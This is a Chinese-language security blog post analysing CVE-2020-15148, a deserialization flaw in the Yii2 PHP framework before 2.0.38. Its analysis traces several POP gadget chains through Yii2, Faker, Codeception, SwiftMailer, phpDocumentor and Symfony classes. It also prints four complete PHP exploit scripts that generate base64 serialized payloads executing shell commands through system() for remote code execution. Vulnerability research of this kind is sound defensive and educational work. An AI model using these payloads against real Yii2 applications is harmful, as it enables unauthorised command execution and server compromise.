文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-10-08   1.4k

CVE-2020-15148 Yii2 反序列化分析及拓展

漏洞范围

  • Yii2 < 2.0.38

环境安装

这里直接选择去GitHub官方仓库拉取Yii2的源代码:

https://github.com/yiisoft/yii2/releases

下载到本地后解压到web目录,修改config/web.php文件里cookieValidationKey的值

再在Controller添加一个反序列化的入口代码:

MacOS下用MAMP搭建PHP调试环境,测试一下:

搭建教程:https://www.sqlsec.com/2020/07/macphp.html

验证成功,开始审计。

漏洞分析

根据现有的资料,反序列化的起点是在yii\db\BatchQueryResult类中,文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php

__destruct()函数调用了reset()方法,reset()方法中的_dataReader参数是可控的,并且调用了该参数的close()函数,那么此处就可以作为跳板,去执行其他类中的__call()函数,全局查找关键字function __call

一共有找到16个__call()函数,那就一个一个的分析下来,其中Codeception组件中多数是直接抛出异常,没有可利用的地方,但是Faker\Generator类是可以成为POP链的。具体代码位于:/vendor/fzaninotto/faker/src/Faker/Generator.php

首先__call()函数中调用了format()方法:

接着跟下去format()方法,参数$method$attributes都是不可控的:

format()方法内部,使用回调函数call_user_func_array()调用了getFormatter()方法。在该方法中,我们只关心第一个if语句,

由于$this->formatter是我们可控的,所以这里就可以调用任意类中的任意方法了。但是上面提到过,此时$formatter='close'$arguments为空,也就是说call_user_func_array()这个函数的第一个参数可控,第二个参数为空。说的更透彻一点,要寻找的就是可以实现RCE的任意一个方法,并且参数是类的成员变量!

同样的,这里我们用call_user_func()去实现RCE,用正则表达式call_user_func(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\)去匹配参数的限制,全局搜索:

yii\rest\CreateAction::run()yii\rest\IndexAction::run()都可以实现上述条件下的RCE:

那么整个POP链也就清楚了:

1
2
3
4
5
yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;

public function __construct()
{
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct()
{
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct()
{
$this->_dataReader = new Generator();
}
}
}

namespace {
use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

结果:

继续挖掘

新版本的BatchQueryResult类已经无法反序列化了,那就全局搜索__destruct()函数,然后一个个的排查。

第一条POP链

触发点位于vendor\codeception\codeception\ext\RunProcess.php,POP链如下:

1
2
3
4
5
Codeception\Extension\RunProcess::__destruct()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;

public function __construct()
{
$this->id = 'whoami';
$this->checkAccess = 'system';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct()
{
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

namespace Codeception\Extension{
use Faker\Generator;

class RunProcess{
private $process;

public function __construct()
{
$this->process = [new Generator()];
}
}
}

namespace {
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}

第二条POP链

触发点位于vendor\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php,POP链如下:

1
2
3
4
5
6
7
Swift\KeyCache\DiskKeyCache::__destruct()
->
src\DocBlock\Tags\Deprecated.php::__toString()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace yii\rest{
class CreateAction{
public $id;
public $checkAccess;

public function __construct()
{
$this->id = 'ls';
$this->checkAccess = 'system';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct()
{
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;

class Deprecated{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}

namespace {

use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;

class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;

public function __construct()
{
$this->path = new Deprecated();
$this->keys = array("just"=>array("for"=>"ca01h"));
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

虽然报错,但命令还是成功执行了。

与此类似的POP链还有:

1
2
3
4
5
6
7
Swift\KeyCache\DiskKeyCache::__destruct()
->
src\DocBlock\Tags\See.php::__toString()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()

以及

1
2
3
4
5
6
7
Swift\KeyCache\DiskKeyCache::__destruct()
->
src\DocBlock\Description.php::__toString()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()

第三条POP链

PHP > 7.1

再来一个从__wakeup入手的POP链,反序列化起点位于vendor\symfony\string\UnicodeString.php

继续跟normalizer_is_normalized()函数

跟进静态方法isNormalized()

看到preg_match($s),那么``normalizer_is_normalized()就可以作为跳板触发__toString()`方法,接下来又可以和上面提到的POP链连在一起了。

1
2
3
4
5
6
7
Symfony\Component\String\UnicodeString::__wakeup()
->
phpDocumentor\Reflection\DocBlock\Tags\See::__toString()
->
Faker\Generator::__call()
->
yii\rest\IndexAction::run()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'touch test.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}

namespace Symfony\Component\String{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class UnicodeString{
protected $string;
public function __construct()
{
$this->string = new See;
}
}
}
namespace{
use Symfony\Component\String\UnicodeString;
echo base64_encode(serialize(new UnicodeString()));
}

有个问题是这个POP利用链回显的时候会报错,不能正常显示。

但是命令是成功执行的:

讲道理,应该还可以接着挖。

参考文章

https://mp.weixin.qq.com/s/Cv2Ax7U1sMtbXCq6YDgkTg

https://xz.aliyun.com/t/8307

https://www.anquanke.com/post/id/217930

Copyright © ca01h 2019-2020 | 本站总访问量